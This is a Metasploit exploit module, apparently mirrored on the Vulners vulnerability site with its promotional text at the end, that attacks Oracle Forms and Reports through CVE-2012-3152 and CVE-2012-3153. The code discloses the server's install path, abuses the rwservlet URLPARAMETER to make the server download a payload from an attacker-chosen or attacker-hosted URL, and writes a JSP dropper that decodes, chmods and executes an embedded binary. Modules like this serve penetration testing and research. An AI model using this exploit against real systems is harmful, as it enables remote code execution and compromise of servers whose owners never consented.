##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
Rank = GreatRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Forms and Reports Remote Code Execution',
'Description' => %q{
This module uses two vulnerabilities in Oracle forms and reports to get remote code execution
on the host. The showenv url can be used to disclose information about a server. A second
vulnerability that allows arbitrary reading and writing to the host filesystem can then be
used to write a shell from a remote url to a known local path disclosed from the previous
vulnerability.
The local path being accessable from an URL then allows us to perform the remote code
execution using for example a .jsp shell.
Tested on Windows and Oracle Forms and Reports 10.1.
},
'Author' =>
[
'miss_sudo <security[at]netinfiltration.com>', # Vulnerability discovery
'Mekanismen <mattias[at]gotroot.eu>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ "CVE", "2012-3152" ],
[ "CVE", "2012-3153" ],
[ "OSVDB", "86395" ], # Matches CVE-2012-3152
[ "OSVDB", "86394" ], # Matches CVE-2012-3153
[ "EDB", "31253" ],
[ 'URL', "http://netinfiltration.com" ]
],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => ['win', 'linux'],
'Targets' =>
[
[ 'Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
[ 'Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 15 2014'
))
register_options(
[
OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]),
OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]),
OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]),
])
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
'method' => 'GET'
})
if res and res.code == 200
if res.body =~ /\\(.*)\\showenv/
vprint_good "#{peer} - Windows install detected "
path = $1.gsub("\\", "/")
vprint_status "#{peer} - Path: #{path}"
elsif res.body =~ /\/(.*)\/showenv/
vprint_good "#{peer} - Linux install detected"
vprint_status "#{peer} - Path: #{$1}"
else
return Exploit::CheckCode::Safe
end
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
'method' => 'GET',
'vars_get' => {
'report' => 'test.rdf',
'desformat' => 'html',
'destype' => 'cache',
'JOBTYPE' => 'rwurl',
'URLPARAMETER' => 'file:///'
}
})
if res and res.code == 200 and res.body.downcase.exclude?("<html>")
vprint_good "#{peer} - URLPARAMETER is vulnerable"
return Exploit::CheckCode::Vulnerable
else
vprint_status "#{peer} - URLPARAMETER is not vulnerable"
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
def exploit
@payload_url = ""
@payload_name = rand_text_alpha(8+rand(8)) + ".jsp"
@payload_dir = datastore['PAYDIR']
@local_path = ""
print_status "#{peer} - Querying showenv!"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"),
'method' => 'GET',
})
if res and res.code == 200
if res.body =~ /\\(.*)\\showenv/
print_good "#{peer} - Query succeeded!"
print_status "#{peer} - Windows install detected "
@local_path = $1.gsub("\\", "/")
print_status "#{peer} - Path: #{@local_path }"
elsif res.body =~ /\/(.*)\/showenv/
print_good "#{peer} - Query succeeded!"
print_status "#{peer} - Linux install detected"
@local_path = $1
print_status "#{peer} - Path: #{@local_path }"
else
print_status "#{peer} - Query failed"
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
end
else
fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
end
if datastore['EXTURL'].blank?
print_status "#{peer} - Hosting payload locally ..."
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
exec_payload
else
print_status "#{peer} - Using external url for payload delivery ..."
@payload_url = datastore['EXTURL']
upload_payload
exec_payload
end
end
def primer
@payload_url = get_uri
@pl = gen_file_dropper
upload_payload
end
def on_request_uri(cli, request)
send_response(cli, @pl)
end
def upload_payload
print_status "#{peer} - Uploading payload ..."
path = "/#{@local_path}#{@payload_dir}#{@payload_name}"
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"),
'method' => 'GET',
'encode_params' => false,
'vars_get' => {
'report' => 'test.rdf',
'desformat' => 'html',
'destype' => 'file',
'desname' => path,
'JOBTYPE' => 'rwurl',
'URLPARAMETER' => @payload_url
}
})
if res and res.code == 200
print_good "#{peer} - Payload hopefully uploaded!"
else
print_status "#{peer} - Payload upload failed"
end
end
def gen_file_dropper
big_payload = false #size matters :(
gen_payload_name = rand_text_alpha(8+rand(8))
encoded_pl = Rex::Text.encode_base64(generate_payload_exe)
print_status "#{peer} - Building JSP shell ..."
len = encoded_pl.length
if len >= 60000 #java string size limit ~60k workaround
print_status "#{peer} - Adjusting shell due to payload size"
pl_first = encoded_pl.slice(0, 60000)
pl_second = encoded_pl.slice(60000, len)
big_payload = true
end
#embed our payload
shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>"
shell += " <%"
shell += " BASE64Decoder decoder = new BASE64Decoder();"
#correct file suffix if windows
if datastore['TARGET'] == 1
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");"
else
shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");"
end
shell += " String path = temp.getAbsolutePath();"
if big_payload
shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");"
shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");"
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
shell += " ou.write(pl);"
shell += " ou.close();"
shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));"
shell += " ou.write(pltwo);"
shell += " ou.close();"
else
shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");"
shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));"
shell += " ou.write(pl);"
shell += " ou.close();"
end
#correct rights if linux host
if datastore['TARGET'] == 0
shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);"
shell += " p.waitFor();"
end
shell += " Runtime.getRuntime().exec(path);"
shell += "%>"
return shell
end
def exec_payload
print_status("#{peer} - Our payload is at: /reports#{@payload_dir}#{@payload_name}")
print_status("#{peer} - Executing payload...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name),
'method' => 'GET'
})
if res and res.code == 200
print_good("#{peer} - Payload executed!")
else
print_status("#{peer} - Payload execution failed")
end
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation